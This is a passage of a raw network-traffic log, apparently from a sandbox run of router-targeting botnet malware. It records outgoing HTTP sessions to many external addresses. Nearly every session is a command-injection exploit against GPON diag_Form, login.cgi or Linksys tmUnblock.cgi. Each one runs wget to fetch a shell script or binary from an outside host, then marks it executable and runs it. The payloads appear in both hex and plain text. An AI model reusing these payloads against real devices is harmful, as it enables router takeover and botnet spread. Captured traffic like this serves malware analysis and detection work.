Mar 21, 2024 05:21:44.405886889 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:44.709702969 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:21:44 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	57338	34.117.8.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:44.643850088 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	36838	210.103.25.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:45.794698000 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:46.175288916 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:47.071330070 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:48.835190058 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:52.447037935 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:59.616245031 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:13.695255041 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:42.109138966 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:42.401160955 CET	300	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:22:42 GMT Connection: close Location: /error1.html Content-Type: text/html Content-Length: 140 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 20 33 30 32 20 46 6f 75 6e 64 20 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE> 302 Found </TITLE></HEAD><BODY><H1>Found</H1><HR></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	35682	203.194.134.12	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:45.814688921 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:46.779232979 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	47058	139.9.159.21	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:45.894627094 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:46.297465086 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:21:46 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	33350	212.76.105.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:45.895026922 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	47528	79.249.31.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037617922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	40340	79.74.151.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037648916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	37228	210.90.3.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037672043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	47640	94.65.203.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:46.037707090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	53778	2.93.200.233	443

Timestamp	Bytes transferred	Direction	Data
